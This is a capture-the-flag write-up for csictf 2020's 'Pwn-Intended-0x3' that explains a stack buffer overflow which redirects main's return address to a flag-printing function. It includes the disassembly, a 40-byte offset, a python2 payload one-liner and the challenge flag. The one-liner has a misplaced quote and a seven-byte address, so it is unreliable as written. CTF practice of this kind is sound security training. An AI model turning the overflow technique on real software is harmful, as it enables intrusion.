

Pwn-Intended-0x3

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WriteUp来源

<https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Pwn-Intended-0x3.html>

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题目描述

题目考点

解题思路

This is exactly same as [coffer-overflow-2](#) from redpwn-2020.

In this case the return address of main has to be replaced with the address of a function called `flag` (which prints the flag).

Disassembly of `flag` with the starting address:

```
1 0x00000000004011ce: push    rbp
2                mov     rbp, rsp
3                lea     rdi, [rip+0xe5f]
4                call    0x401030 <puts@plt>
5                lea     rdi, [rip+0xe7b]
6                call    0x401050 <system@plt> # system("cat flag.txt")
7                mov     edi, 0x0
8                call    0x401070 <exit@plt>
```

Using gdb, the distance between the starting address of the buffer and the return address of main in the stack was found to be 40 bytes (`rbp + 8` bytes), so we can have some padding of 40 bytes and then have the address of `flag` function in little endian. This worked:

```
1 python2 -c "print 'A'*40 + '\xce\x11\x40\x00\x00\x00\x00' | ./pwn-intended-0x3"
```

Flag

```
1 csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_physics}
```

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